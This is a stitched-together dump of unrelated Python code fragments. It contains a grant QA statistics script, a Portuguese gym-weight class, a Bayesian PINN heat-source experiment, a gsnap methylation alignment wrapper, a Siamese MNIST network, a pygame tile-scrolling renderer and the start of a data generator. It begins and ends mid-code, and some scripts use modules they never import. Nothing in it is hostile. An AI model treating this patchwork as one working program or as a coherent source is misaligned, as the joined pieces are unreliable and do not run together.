    "num_projects": [len(df_project["queried_project_id"].unique())],
    "num_publications": [len(df_publication["publication_id"].unique())],
    "num_datasets": [len(df_geo["accession"].unique()) + len(df_sra["accession"].unique()) + len(df_dbgap["accession"].unique())],
    "num_clinical_trials": [len(df_clinical_trials["clinical_trial_id"].unique())],
    "num_patents": [len(df_patent["patent_id"].unique())]
    }
)
df_stats_bar.to_csv(f"{DIGEST_DIR}/qa_validation_file_stats_bar.tsv", sep="\t", index=False)

# rename and collect relevant columns for projects
df_project = df_project[["project_id","queried_project_id","total_outputs_count","publication_count","dataset_count","clinical_trial_count","patent_count","grant_count","geo_count","sra_count","dbgap_count"]]
df_project = df_project.rename(columns={"project_id": "grant_id", "queried_project_id": "project_id"})
df_project.to_csv(f"{DIGEST_DIR}/qa_validation_file.tsv", sep="\t", index=False)


class Treino():
    def __init__(self, maxPeso, rep):
        self.maxPeso = maxPeso
        self.rep = rep

    def pegar_peso(self, peso):
        if peso > self.maxPeso:
            print("Você não vai aguentar, é muito peso!")
        else:
            print("Pode treinar!")

treino_braço = Treino(15, 10)
treino_braço.pegar_peso(16)


import matplotlib
import numpy as np

from Networks import *
from scipy.io import loadmat
from sklearn.metrics import r2_score, mean_squared_error
import matplotlib.pyplot as plt

matplotlib.use("Agg")
seed_torch(1234)

if __name__ == "__main__":
    # 观测数据准备
    noise_u = Opt.noise
    N_u = 2000
    solution = np.squeeze(loadmat("data/case_field_2/u.mat")["u"])
    positions = np.squeeze(loadmat("data/case_field_2/position.mat")["p"])
    index = np.random.randint(0, 2583, N_u)  # 4960 triangle
    u_star = solution[index].reshape(-1, 1) + np.random.randn(N_u, 1) * noise_u
    x_star = positions[0, :][index]
    y_star = positions[1, :][index]
    X_star = np.vstack([x_star, y_star]).T

    # 网格配点
    nx = 50
    ny = 50
    xx = np.linspace(0, 1, nx)
    yy = np.linspace(0, 1, ny)
    xxx, yyy = np.meshgrid(xx, yy)
    X_f = np.hstack([xxx.flatten()[:, None], yyy.flatten()[:, None]])
    X_f_, index_hole = collocation_check(X_f)
    collocations = np.vstack([X_f_, X_star])

    # fig = plt.figure()
    # plt.scatter(collocations[:, 0], collocations[:, 1], s=5)
    # plt.savefig("peidian.png")

    # bc
    bc_linspace = np.linspace(0.5, 0.7, 21)
    bc_grid_x,  bc_grid_y = np.meshgrid(bc_linspace, bc_linspace)
    bc_f = np.hstack([bc_grid_x.flatten()[:, None], bc_grid_y.flatten()[:, None]])
    index_hole_x = np.where((bc_f[:, 0] == 0.7) | (bc_f[:, 0] == 0.5))[0]
    index_hole_y = np.where((bc_f[:, 1] == 0.7) | (bc_f[:, 1] == 0.5))[0]
    bc_f_x = bc_f[index_hole_x]  # x 固定，x
    bc_f_y = bc_f[index_hole_y]
    # 观察对角线
    x_diag_0 = np.linspace(0, 0.5, 101)
    x_diag_1 = np.linspace(0.7, 1.0, 101)
    xy_diag_0 = np.vstack([x_diag_0, x_diag_0]).T
    xy_diag_1 = np.vstack([x_diag_1, x_diag_1]).T

    # source 场
    source_field_total = source_func_2(X_f)
    source_field_delete = source_func_2(X_f_)

    # numpy to tensor
    device = Opt.device
    X_star_T = torch.tensor(X_star, dtype=torch.float32, requires_grad=True).to(device)
    u_star_T = torch.tensor(u_star, dtype=torch.float32).to(device)
    X_f_T = torch.tensor(X_f_, dtype=torch.float32, requires_grad=True).to(device)
    X_f_T_total = torch.tensor(X_f, dtype=torch.float32, requires_grad=True).to(device)
    collocations_T = torch.tensor(collocations, dtype=torch.float32, requires_grad=True).to(device)
    bc_f_x_T = torch.tensor(bc_f_x, dtype=torch.float32, requires_grad=True).to(device)
    bc_f_y_T = torch.tensor(bc_f_y, dtype=torch.float32, requires_grad=True).to(device)
    xy_diag_0_T = torch.tensor(xy_diag_0, dtype=torch.float32, requires_grad=True).to(device)
    xy_diag_1_T = torch.tensor(xy_diag_1, dtype=torch.float32, requires_grad=True).to(device)

    # 网络相关
    """
    构造一个神经网络Net_u拟合场数据，一个神经网络Net_s拟合热源
    """
    start_time = time.time()
    epochs = Opt.epochs
    layers_s = Opt.layers_s
    layers_u = Opt.layers_u

    Net_s = BNNNet(layers_s, st=True).to(device)
    Net_u = BPINN(layers_u, X_star_T, u_star_T, collocations_T, Net_s, in_test=X_f_T_total, out_test=source_field_total,
                  x_bc=bc_f_x_T, y_bc=bc_f_y_T)
    Net_u.train(epochs)
    end_time = time.time()
    print("耗时：", end_time - start_time)

    #  画图
    plt.style.use("default")
    plt.rcParams['font.family'] = 'Times New Roman'
    save = True
    experiment_tag = "_B-PINN_"
    # 预测热源图
    pred_list_plot = Net_u.predict(X_f_T_total)
    mu_plot = np.mean(pred_list_plot, axis=0)
    mu = np.delete(mu_plot, index_hole, axis=0)
    std_plot = np.std(pred_list_plot, axis=0)
    std = np.delete(std_plot, index_hole, axis=0)
    l2_error = np.linalg.norm(source_field_delete.reshape(-1, 1) - mu, 2) / np.linalg.norm(
        source_field_delete, 2)
    r2 = r2_score(source_field_delete, mu)
    print("Ensemble r2:", r2, "---l2_error:", l2_error)

    mask = np.zeros_like(mu_plot, dtype=bool)
    mask[index_hole] = True
    mu_masked = np.ma.array(mu_plot.reshape(nx, ny), mask=mask.reshape(nx, ny))
    std_masked = np.ma.array(std_plot.reshape(nx, ny), mask=mask.reshape(nx, ny))

    fig, ax = plt.subplots(figsize=[8, 3], ncols=2)
    ctf0 = ax[0].contourf(xxx, yyy, mu_masked, cmap="hot", corner_mask=False, levels=100)
    #ax.contour(xxx, yyy, source_field_masked, colors="k", linestyles="dash", corner_mask=False)
    ax[0].set_xlim([0, 1])
    ax[0].set_ylim([0, 1])
    cb0 = plt.colorbar(ctf0, ax=ax[0])
    ctf1 = ax[1].contourf(xxx, yyy, std_masked, cmap="hot", corner_mask=False, levels=100)
    ax[1].set_xlim([0, 1])
    ax[1].set_ylim([0, 1])
    cb1 = plt.colorbar(ctf1)
    if save:
        plt.savefig("training_results/pred_source" + experiment_tag + ".png", bbox_inches="tight", dpi=300)

    # loss
    loss_list = Net_u.loss_list
    plt.style.use('seaborn')
    plt.rcParams['font.family'] = 'Times New Roman'
    fig2 = plt.figure(figsize=[4, 3])
    plt.semilogy()
    plt.plot(loss_list)
    plt.xlabel("Epochs")
    plt.ylabel("Loss")
    plt.tight_layout()
    if save:
        plt.savefig("training_results/loss" + experiment_tag + ".png", dpi=300, bbox_inches="tight")

    # 对角线
    diag_pred_list_0 = Net_u.predict(xy_diag_0_T)
    diag_pred_list_1 = Net_u.predict(xy_diag_1_T)
    mu_diag_0 = np.mean(diag_pred_list_0, axis=0)
    mu_diag_1 = np.mean(diag_pred_list_1, axis=0)
    std_diag_0 = np.std(diag_pred_list_0, axis=0)
    std_diag_1 = np.std(diag_pred_list_1, axis=0)
    lower_0 = mu_diag_0 - 2 * std_diag_0
    lower_1 = mu_diag_1 - 2 * std_diag_1
    upper_0 = mu_diag_0 + 2 * std_diag_0
    upper_1 = mu_diag_1 + 2 * std_diag_1
    true_diag_0 = source_func_2(xy_diag_0)
    true_diag_1 = source_func_2(xy_diag_1)

    fig3 = plt.figure(figsize=[4, 3])
    plt.fill_between(x_diag_0, lower_0.flatten(), upper_0.flatten(), alpha=0.5, rasterized=True,
                     label="Epistemic uncertainty", color="green")
    plt.fill_between(x_diag_1, lower_1.flatten(), upper_1.flatten(), alpha=0.5, rasterized=True, color="green")
    plt.plot(x_diag_0, true_diag_0, color="xkcd:orange", linestyle="-", linewidth=2, label="Truth")
    plt.plot(x_diag_1, true_diag_1, color="xkcd:orange", linestyle="-", linewidth=2)
    plt.plot(x_diag_0, mu_diag_0, color="xkcd:dark blue", linestyle="--", linewidth=2, label='Identification')
    plt.plot(x_diag_1, mu_diag_1, color="xkcd:dark blue", linestyle="--", linewidth=2)
    plt.vlines(0.5, ymin=0, ymax=1, color="black", linestyle="--")
    plt.vlines(0.7, ymin=0, ymax=1, color="black", linestyle="--")
    plt.legend(loc=2)
    plt.xlabel("x")
    plt.ylabel("Value")
    plt.tight_layout()
    if save:
        plt.savefig("training_results/diag" + experiment_tag + ".png", bbox_inches="tight", dpi=300)

    # 保存数据
    np.savez("training_results/" + experiment_tag + ".npz", total=pred_list_plot, mean=mu_plot, std=std_plot,
             all=pred_list_plot, diag_0=diag_pred_list_0, diag_1=diag_pred_list_1)


"""
runner for gsnap on methylation data.
gmap_build, gsnap and samtools must be on the PATH of the calling environment
"""

import argparse
import sys
import os
import os.path as op
import subprocess as sp

def sh(cmd, log=sys.stderr, wait=True):
    print >>sys.stderr, "[running command] %s" % cmd
    p = sp.Popen(cmd, shell=True, stderr=sp.PIPE, stdout=sp.PIPE)
    if wait:
        for line in p.stderr:
            print >>log, line,
        p.wait()
        if p.returncode != 0 or "aborted" in p.stderr.read():
            sys.exit(p.returncode)
    return p

def nopen(f, mode="rb"):
    if not isinstance(f, basestring): return f
    return open(f, mode)

def gmap_built(ref_dir, ref_base):
    for ext in ("chromosome", "contig.iit", "ref12153offsetscomp",
                "chromosome.iit", "genomecomp",
                "chrsubset", "maps", "version", "contig",
                "ref12153gammaptrs"):

        f = "%s/%s/%s.%s" % (ref_dir, ref_base, ref_base, ext)
        if not op.exists(f):
            print >>sys.stderr, "%s does not exist" % f
            return False
    return True

def cmetindexed(ref_dir, ref_base, kmer):

    for ext in ("metct12%i3offsetscomp",
                "metct12%i3gammaptrs", "metga12%i3offsetscomp",
                "metga12%i3gammaptrs"):
        ext = ext % kmer
        f = "%s/%s/%s.%s" % (ref_dir, ref_base, ref_base, ext)
        if not op.exists(f):
            print >>sys.stderr, "%s does not exist" % f
            return False
    return True

def gsnap_index(reference, kmer=15):
    ref_dir, ref_base = check_reference(reference)
    ref_base += "." + str(kmer)

    cmd = "gmap_build --no-sarray -k %(kmer)i -D %(ref_dir)s -d %(ref_base)s %(reference)s"
    cmd %= locals()
    if not gmap_built(ref_dir, ref_base):
        sh(cmd)
    else:
        print >>sys.stderr, "[skipping command] %s" % cmd

    cmd_cmet = "cmetindex -d %(ref_base)s -F %(ref_dir)s -k %(kmer)d\n"
    cmd_cmet %= locals()
    if not cmetindexed(ref_dir, ref_base, kmer):
        sh(cmd_cmet)
    else:
        print >>sys.stderr, "[skipping command] %s" % cmd

def check_reference(reference):
    ref_dir = op.dirname(reference)
    ref_base = op.splitext(op.basename(reference))[0] # locals
    assert os.access(reference, os.R_OK), ("reference not found / readable")
    assert os.access(ref_dir, os.W_OK), ("%s must be writable" % (ref_dir))
    return ref_dir, ref_base

def gsnap_meth(reference, reads, prefix, kmer=15, stranded=False,
        extra_args="", threads=1, rg=None):

    ref_dir, ref_base = check_reference(reference)
    ref_base += "." + str(kmer)
    mode = ["cmet-nonstranded", "cmet-stranded"][int(stranded)]
    reads_str = " ".join(reads)
    if any(r.endswith(".gz") for r in reads):
        extra_args = extra_args + " --gunzip"
    cmd_gsnap = "set -eo pipefail;"
    cmd_gsnap += "gsnap -B 4 --npaths 1 --quiet-if-excessive \
        --nthreads {threads} \
        -A sam -k {kmer} -D {ref_dir} -d {ref_base} --mode {mode} \
        --use-sarray 0 \
        --pairexpect 300 \
        --pairdev 250 \
        --read-group-id {rg} --read-group-name {rg} \
         {extra_args}  {reads_str}"
    cmd_gsnap += "| samtools view -bS - | samtools sort - {prefix}"
    cmd_gsnap = cmd_gsnap.format(**locals())
    sh(cmd_gsnap)

    cmd_index = "samtools index {prefix}.bam".format(**locals())
    sh(cmd_index)

def run(args):
    if args.threads is None:
        import multiprocessing
        threads = multiprocessing.cpu_count() # locals
    else:
        threads = args.threads
    reference, kmer = op.abspath(args.reference), args.kmer
    reads = map(op.abspath, args.reads)
    rg = rname(reads[0], reads[1])
    gsnap_meth(reference, reads, args.prefix, args.kmer, args.stranded,
               args.extra_args, threads, rg=rg)

def rname(fq1, fq2):
    def name(f):
        n = op.basename(op.splitext(f)[0])
        if n.endswith('.fastq'): n = n[:-6]
        if n.endswith(('.fq', '.r1', '.r2')): n = n[:-3]
        return n
    return "".join(a for a, b in zip(name(fq1), name(fq2)) if a == b) or 'bm'

def main():
    if len(sys.argv) > 1 and "index" == sys.argv[1]:
        sys.exit(gsnap_index(sys.argv[2], kmer=int(sys.argv[3])))

    p = argparse.ArgumentParser(description=__doc__,
                   formatter_class=argparse.RawDescriptionHelpFormatter)
    p.add_argument("-r", "--reference", help="reference fasta")
    p.add_argument("-k", dest="kmer", help="kmer length for gsnap. default:" \
                   + "%(default)i", type=int, default=15)
    p.add_argument("-t", "--threads", dest="threads", default=None,
            help="number of threads for gsnap to use", type=int)
    p.add_argument("--stranded", action="store_true", default=False, help=\
                   "by default, non-stranded library prep is assumed")
    p.add_argument("--prefix", help="prefix for output bam",
                  default="gsnap-meth")
    p.add_argument("--extra-args", dest="extra_args", help="extra arguments"
                " to send to gsnap", default="")

    p.add_argument('reads', nargs='+', help='reads files (if 2 files are'
                   'they are assumed to be paired end)')

    try:
        args = p.parse_args()
    except:
        p.print_help()
        raise

    if (not len(args.reads) in (1, 2)) or args.reference is None:
        sys.exit(not p.print_help())

    run(args)

if __name__ == "__main__":
    import doctest
    if doctest.testmod(optionflags=doctest.ELLIPSIS |\
                                   doctest.NORMALIZE_WHITESPACE).failed == 0:
        main()


from keras.datasets import mnist
import numpy as np
import random
import keras
from keras import backend as K
import cv2

#1:same, 0:different
def create_pairs(x, digit_indices):
    pairs = []
    labels = []
    n = min([len(digit_indices[d]) for d in range(10)]) - 1
    print('n:',n)
    for d in range(10):
        for i in range(n):
            z1, z2 = digit_indices[d][i], digit_indices[d][i+1]
            pairs += [[x[z1], x[z2]]]
            inc = random.randrange(1, 10) #1..9
            dn = (d + inc) % 10
            z1, z2 = digit_indices[d][i], digit_indices[dn][i]
            pairs += [[x[z1], x[z2]]]
            labels += [1, 0]
    return np.array(pairs), np.array(labels)

def contrastive_loss(y_true, y_pred):
    margin = 1
    return K.mean(y_true * K.square(y_pred) +
                  (1 - y_true) * K.square(K.maximum(margin - y_pred, 0)))

def accuracy(y_true, y_pred):
    return K.mean(K.equal(y_true, K.cast(y_pred < 0.5, y_true.dtype)))

def create_base_network(input_shape):
    input = keras.Input(shape=input_shape)
    x = keras.layers.Conv2D(6,(5,5),activation = 'relu', padding = 'valid')(input)
    x = keras.layers.Dropout(0.1)(x)
    x = keras.layers.MaxPooling2D(2,2)(x)
    x = keras.layers.Conv2D(16,(5,5),activation = 'relu', padding = 'valid')(x)
    x = keras.layers.Dropout(0.5)(x)
    x = keras.layers.MaxPooling2D(2,2)(x)
    x = keras.layers.Flatten()(x)
    x = keras.layers.Dense(128, activation='relu')(x)
    # x = keras.layers.Dropout(0.1)(x)
    # x = keras.layers.Dense(128, activation='relu')(x)
    # x = keras.layers.Dropout(0.1)(x)
    # x = keras.layers.Dense(128, activation='relu')(x)
    return keras.models.Model(input, x)

def euclidean_distance(vects):
    x, y = vects
    return K.sqrt(K.maximum(K.sum(K.square(x - y), axis=1, keepdims=True), K.epsilon()))

def eucl_dist_output_shape(shapes):
    shape1, shape2 = shapes
    print(shape1[0])
    return (shape1[0], 1)

def train_model():
    (training_images, training_labels), (test_images, test_labels) = mnist.load_data()
    training_images.shape = (60000, 28, 28)
    training_labels.shape = (60000, )
    test_images.shape = (10000, 28, 28)
    test_labels.shape = (10000, )

    training_images = training_images.astype('float32')/255
    test_images = test_images.astype('float32')/255
    input_shape = (28,28,1)

    digit_indices = [np.where(training_labels == i)[0] for i in range(10)]

    tr_pairs, tr_y = create_pairs(training_images, digit_indices)
    print(tr_y, tr_y.shape)
    # [1 0 1 ... 0 1 0] (108400,)

    digit_indices = [np.where(test_labels == i)[0] for i in range(10)]
    te_pairs, te_y = create_pairs(test_images, digit_indices)
    # n:891
    # print(te_pairs.shape) = (17820, 2, 28, 28)
    # print(te_y.shape) = (17820,)
    base_network = create_base_network(input_shape)
    base_network.summary()

    input_a = keras.Input(shape=input_shape)
    input_b = keras.Input(shape=input_shape)
    processed_a = base_network(input_a)
    processed_b = base_network(input_b)
    distance = keras.layers.Lambda(euclidean_distance,
                               output_shape=eucl_dist_output_shape)([processed_a, processed_b])
    model = keras.models.Model([input_a, input_b], distance)
    model.summary()
    model.compile(loss=contrastive_loss , optimizer=keras.optimizers.RMSprop(), metrics=[accuracy])
    model.fit([tr_pairs[:, 0].reshape((108400,28,28,1)), tr_pairs[:, 1].reshape((108400,28,28,1))], tr_y,
          batch_size=128,
          epochs=10)

    model.save('./siamesenet.h5')
    print('-----------------------save successfully--------------')

def main():
    train_model()

if __name__ == '__main__':
    main()


import math
from collections import namedtuple

import pygame

import cart
import game
import tile
import map
import physics

Point = namedtuple('Point', ['x', 'y'])

class Renderer:
    def __init__(self, cartridge):
        self.cartridge = cartridge
        self.tile_surface_cache = {}
        self.game = None
        self.scroll_buffer = None

    def render(self):
        clock = pygame.time.Clock()
        pygame.init()
        display_surface = pygame.display.set_mode((1024, 768))
        # display_surface = pygame.display.set_mode((1440, 900), pygame.FULLSCREEN)
        view_surface = pygame.Surface((map.Map.section_width * tile.TILE_SIZE, map.Map.section_height * tile.TILE_SIZE))
        pressed_keys = set()
        self.scroll_buffer = ScrollBuffer(renderer=self)
        scroll_x = 0
        scroll_y = 0
        # testing sprites
        camera = Camera(scroll_buffer=self.scroll_buffer, follow_mode=Camera.FOLLOW_CENTER)
        self.game = game.Game(self.cartridge)
        bob = game.Entity(
            LocalCoord().moved(map.Map.section_width / 2 * tile.TILE_SIZE, (map.Map.section_height / 2) * tile.TILE_SIZE),
            # LocalCoord(),
            tiled_area=map.TiledArea(
                tile_data=[0xD, 0xE, 0xF, 0x10, 0x11, 0x12],
                attr_data=[2, 2, 2, 2, 2, 2],
                width=2,
                height=3
            )
        )

        self.game.add_entity(bob)
        # -
        is_running = True
        while is_running:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    is_running = False
                elif event.type == pygame.KEYDOWN:
                    if event.key == pygame.K_RIGHT:
                        if pygame.K_LEFT in pressed_keys:
                            pressed_keys.remove(pygame.K_LEFT)
                    elif event.key == pygame.K_LEFT:
                        if pygame.K_RIGHT in pressed_keys:
                            pressed_keys.remove(pygame.K_RIGHT)
                    elif event.key == pygame.K_UP:
                        if pygame.K_DOWN in pressed_keys:
                            pressed_keys.remove(pygame.K_DOWN)
                    elif event.key == pygame.K_DOWN:
                        if pygame.K_UP in pressed_keys:
                            pressed_keys.remove(pygame.K_UP)
                    elif event.key == pygame.K_SPACE:
                        bob.vector = bob.vector.add(physics.Vector(x=0, y=-25))
                    pressed_keys.add(event.key)
                elif event.type == pygame.KEYUP:
                    if event.key == pygame.K_ESCAPE:
                        is_running = False
                    if event.key in pressed_keys:
                        pressed_keys.remove(event.key)
            for key in pressed_keys:
                if key == pygame.K_RIGHT:
                    bob.vector = bob.vector.add(physics.Vector(x=1, y=0))
                elif key == pygame.K_LEFT:
                    bob.vector = bob.vector.add(physics.Vector(x=-1, y=0))
                elif key == pygame.K_DOWN:
                    bob.vector = bob.vector.add(physics.Vector(x=0, y=1))
                elif key == pygame.K_UP:
                    bob.vector = bob.vector.add(physics.Vector(x=0, y=-1))
            self.game.advance()
            camera.follow(bob.coord.as_pixels().x, bob.coord.as_pixels().y)
            self.scroll_buffer.render(view_surface)
            self.render_entities(view_surface)
            # may want option for smoothscale
            pygame.transform.scale(view_surface, (1024, 768), display_surface)
            pygame.display.update()
            clock.tick(60)
        pygame.quit()

    def render_entities(self, view_surface):
        for entity in self.game.entities:
            for row in range(0, entity.tiled_area.height):
                for col in range(0, entity.tiled_area.width):
                    coord = entity.coord.moved(col * tile.TILE_SIZE, row * tile.TILE_SIZE)
                    tile_number, attr = entity.tiled_area.tiles[row][col]
                    tile_surface = self.surface_for_tile(tile_number, attr)
                    if tile_surface:
                        view_surface.blit(tile_surface, (
                            coord.tile.x * tile.TILE_SIZE + coord.pixel.x,
                            coord.tile.y * tile.TILE_SIZE + coord.pixel.y)
                        )

    def surface_for_map_tile(self, map_col, map_row):
        tile_number = self.cartridge.map.get_tile(map_row, map_col)
        if tile_number <= 0:
            return None
        attr = self.cartridge.map.get_attr(map_row, map_col)
        return self.surface_for_tile(tile_number, attr)

    def surface_for_tile(self, tile_number, attr=0):
        if tile_number <= 0:
            return None
        tile_lookup = (tile_number, attr)
        if tile_lookup in self.tile_surface_cache:
            return self.tile_surface_cache[tile_lookup]
        transform = (attr >> 4) & 0xF
        palette = attr & 0xF
        tile_data = self.cartridge.tile_catalog[tile_number - 1]
        surface = pygame.Surface((tile.TILE_SIZE, tile.TILE_SIZE))
        surface.set_colorkey((1, 1, 1))
        pix_array = pygame.PixelArray(surface)
        for row in range(0, tile.TILE_SIZE):
            for col in range(0, tile.TILE_SIZE):
                p = tile_data[row][col]
                if p > 0:
                    color = self.cartridge.lookup_background_color(palette, p)
                else:
                    color = (1, 1, 1)
                if transform == 0:
                    pix_array[col, row] = color
                elif transform == 1:  # vertical axis flip
                    pix_array[7 - col, row] = color
        self.tile_surface_cache[tile_lookup] = surface
        return surface

class Camera:
    FOLLOW_CENTER = 0
    FOLLOW_STATIC = 1
    FOLLOW_LEAD = 2

    def __init__(self, x=0, y=0, follow_mode=0, scroll_buffer=None):
        self.x = x
        self.y = y
        self.follow_mode = follow_mode
        self.scroll_buffer = scroll_buffer

    def follow(self, x, y):
        if self.follow_mode == Camera.FOLLOW_CENTER:
            delta_x = x - self.x
            delta_y = y - self.y
            self.x = x
            self.y = y
            self.scroll_buffer.scroll(delta_x, 0)
        elif self.follow_mode == Camera.FOLLOW_LEAD:
            view_x, view_y = self.scroll_buffer.map_to_view_coord((x, y))
            if view_x < (map.Map.section_width * tile.TILE_SIZE) * ( 1 / 3 ) or view_x > (map.Map.section_width * tile.TILE_SIZE) * ( 2 / 3 ):
                delta_x = x - self.x
                self.x = x - 30
                self.scroll_buffer.scroll(delta_x - 30, 0)

class ScrollBuffer:
    quad_width = map.Map.section_width * tile.TILE_SIZE
    quad_height = map.Map.section_height * tile.TILE_SIZE

    def __init__(self, renderer):
        self.renderer = renderer
        quad_surface = lambda: pygame.Surface((map.Map.section_width * tile.TILE_SIZE, map.Map.section_height * tile.TILE_SIZE))
        self.quadrants = [
            [quad_surface(), quad_surface()],
            [quad_surface(), quad_surface()]
        ]
        self.quadrants[0][0].fill((255, 0, 0))
        self.quadrants[0][1].fill((0, 255, 0))
        self.quadrants[1][0].fill((0, 0, 255))
        self.quadrants[1][1].fill((255, 0, 255))
        self.map_offset = (-int(map.Map.section_width / 2), -int(map.Map.section_height / 2))
        self.coord = LocalCoord()
        self.coord = self.coord.moved(int(map.Map.section_width / 2) * tile.TILE_SIZE, int(map.Map.section_height / 2) * tile.TILE_SIZE)
        # fill in the whole buffer initially
        upper_left = self.coord
        lower_right = upper_left.moved((map.Map.section_width + 1) * tile.TILE_SIZE, (map.Map.section_height + 1) * tile.TILE_SIZE)
        self.draw_rect(upper_left, lower_right)

    def render(self, surface):
        left = self.coord.tile.x * tile.TILE_SIZE + self.coord.pixel.x
        top = self.coord.tile.y * tile.TILE_SIZE + self.coord.pixel.y
        right = left + ScrollBuffer.quad_width
        bottom = top + ScrollBuffer.quad_height
        quadrant_x = clamp(self.coord.quadrant.x, 0, 1)
        quadrant_y = clamp(self.coord.quadrant.y, 0, 1)
        if quadrant_y == 0:
            if quadrant_x == 0:
                top_left = self.quadrants[0][0] #0
                top_right = self.quadrants[0][1] #1
                bottom_left = self.quadrants[1][0] #2
                bottom_right = self.quadrants[1][1] #3
            else:
                top_left = self.quadrants[0][1]
                top_right = self.quadrants[0][0]
                bottom_left = self.quadrants[1][1]
                bottom_right = self.quadrants[1][0]
        else:
            if quadrant_x == 0:
                top_left = self.quadrants[1][0]
                top_right = self.quadrants[1][1]
                bottom_left = self.quadrants[0][0]
                bottom_right = self.quadrants[0][1]
            else:
                top_left = self.quadrants[1][1]
                top_right = self.quadrants[1][0]
                bottom_left = self.quadrants[0][1]
                bottom_right = self.quadrants[0][0]
        surface.blit(top_left, (0, 0), area=(left, top, ScrollBuffer.quad_width - left, ScrollBuffer.quad_height - top))
        surface.blit(top_right, (ScrollBuffer.quad_width - left, 0), area=(0, top, right, ScrollBuffer.quad_height - top))
        surface.blit(bottom_left, (0, ScrollBuffer.quad_height - top), area=(left, 0, ScrollBuffer.quad_width - left, bottom))
        surface.blit(bottom_right, (ScrollBuffer.quad_width - left, ScrollBuffer.quad_height - top), area=(0, 0, right, bottom))

    def scroll(self, delta_x, delta_y):
        old_coord = self.coord
        self.coord = self.coord.moved(delta_x, delta_y)
        delta_x_tiles = self.coord.as_tiles().x - old_coord.as_tiles().x
        delta_y_tiles = self.coord.as_tiles().y - old_coord.as_tiles().y
        for x in range(0, abs(delta_x_tiles)):
            if delta_x_tiles >= 0:
                top_left = old_coord.moved((map.Map.section_width + x + 1) * tile.TILE_SIZE, 0)
                bottom_right = top_left.moved(tile.TILE_SIZE, (map.Map.section_height + 1) * tile.TILE_SIZE)
                self.draw_rect(top_left, bottom_right)
            else:
                top_left = old_coord.moved(-x - 1, old_coord.tile.y)
                bottom_right = top_left.moved(tile.TILE_SIZE, (map.Map.section_height * 2) * tile.TILE_SIZE)
                self.draw_rect(top_left, bottom_right)
        for y in range(0, abs(delta_y_tiles)):
            if delta_y_tiles >= 0:
                top_left = old_coord.moved(old_coord.tile.x, (map.Map.section_height + y + 1) * tile.TILE_SIZE)
                bottom_right = top_left.moved((map.Map.section_width * 2) * tile.TILE_SIZE, tile.TILE_SIZE)
                self.draw_rect(top_left, bottom_right)
            else:
                top_left = old_coord.moved(old_coord.tile.x, -y)
                bottom_right = top_left.moved((map.Map.section_width *2) * tile.TILE_SIZE, tile.TILE_SIZE)
                self.draw_rect(top_left, bottom_right)

    def draw_rect(self, top_left, bottom_right):
        map_offset_x, map_offset_y = self.map_offset
        width = abs(bottom_right.as_tiles().x - top_left.as_tiles().x)
        height = abs(bottom_right.as_tiles().y - top_left.as_tiles().y)
        for row in range(0, height):
            for col in range(0, width):
                coord = top_left.moved(col * tile.TILE_SIZE, row * tile.TILE_SIZE)
                quadrant_x = clamp(coord.quadrant.x, 0, 1)
                quadrant_y = clamp(coord.quadrant.y, 0, 1)
                quadrant = self.quadrants[quadrant_y][quadrant_x]
                quadrant.fill(self.renderer.cartridge.lookup_universal_background_color(),
                    (
                        coord.tile.x * tile.TILE_SIZE + coord.pixel.x,
                        coord.tile.y * tile.TILE_SIZE + coord.pixel.y,
                        tile.TILE_SIZE,
                        tile.TILE_SIZE
                    )
                )
                tile_surface = self.renderer.surface_for_map_tile(
                    (coord.quadrant.x * map.Map.section_width + coord.tile.x) + map_offset_x,
                    (coord.quadrant.y * map.Map.section_height + coord.tile.y) + map_offset_y
                )
                if tile_surface:
                    quadrant.blit(tile_surface, (
                        coord.tile.x * tile.TILE_SIZE,
                        coord.tile.y * tile.TILE_SIZE)
                    )

def clamp(n, min_n, max_n):
    if n > max_n:
        while n > max_n:
            n -= (max_n - min_n + 1)
        return n
    elif n < min_n:
        while n < min_n:
            n += (max_n - min_n + 1)
        return n
    return n

class LocalCoord():
    def __init__(self):
        self.quadrant = Point(0, 0)
        self.tile = Point(0, 0)
        self.pixel = Point(0, 0)

    def moved(self, delta_x, delta_y):
        new_coord = LocalCoord()
        quadrant_x, quadrant_y = self.quadrant
        tile_x, tile_y = self.tile
        pixel_x, pixel_y = self.pixel
        total_pixels_x, total_pixels_y = self.as_pixels()
        # move in the x direction
        if delta_x >= 0:
            move_remain = abs(delta_x) + total_pixels_x
        else:
            move_remain = total_pixels_x - abs(delta_x)
            if move_remain < 0:
                move_remain = total_pixels_x
        quadrant_x = tile_x = pixel_x = 0
        while move_remain >= map.Map.section_width * tile.TILE_SIZE:
            quadrant_x += 1
            move_remain -= map.Map.section_width * tile.TILE_SIZE
        while move_remain >= tile.TILE_SIZE:
            tile_x += 1
            move_remain -= tile.TILE_SIZE
        pixel_x = move_remain
        # move in the y direction
        if delta_y >= 0:
            move_remain = abs(delta_y) + total_pixels_y
        else:
            move_remain = total_pixels_y - abs(delta_y)
        quadrant_y = tile_y = pixel_y = 0
        while move_remain >= map.Map.section_height * tile.TILE_SIZE:
            quadrant_y += 1
            move_remain -= map.Map.section_height * tile.TILE_SIZE
        while move_remain >= tile.TILE_SIZE:
            tile_y += 1
            move_remain -= tile.TILE_SIZE
        pixel_y = move_remain
        new_coord.quadrant = Point(quadrant_x, quadrant_y)
        new_coord.tile = Point(tile_x, tile_y)
        new_coord.pixel = Point(pixel_x, pixel_y)
        return new_coord

    def truncated_pixels(self):
        new_coord = LocalCoord()
        new_coord.quadrant = self.quadrant
        new_coord.tile = self.tile
        new_coord.pixel = Point(0, 0)
        return new_coord

    def as_pixels(self):
        pixels_x = self.quadrant.x * map.Map.section_width * tile.TILE_SIZE + self.tile.x * tile.TILE_SIZE + self.pixel.x
        pixels_y = self.quadrant.y * map.Map.section_height * tile.TILE_SIZE + self.tile.y * tile.TILE_SIZE + self.pixel.y
        return Point(pixels_x, pixels_y)

    def as_tiles(self):
        tiles_x = self.quadrant.x * map.Map.section_width + self.tile.x
        tiles_y = self.quadrant.y * map.Map.section_height + self.tile.y
        return Point(tiles_x, tiles_y)

    def __str__(self):
        return f'quad: ({self.quadrant.x}, {self.quadrant.y}), tile: ({self.tile.x}, {self.tile.y}), pixel: ({self.pixel.x}, {self.pixel.y})'


#!/usr/bin/env python

import argparse
import math
import os
import pathlib
import re

from rich.console import Console
from rich.progress import Progress

def main():
    args = _parse_args()
    generate_data(
        args.total_size,
        args.files_count,
        args.branching_factor,
        args.output_dir,
    )

def generate_data(
    total_size: int,
    files_count: int,
    branching_factor: int,
    output_dir: pathlib.Path,
):
    file_size_bytes = math.ceil(total_size / files_count)
    tree_depth = math.floor(math.log(files_count, branching_factor))
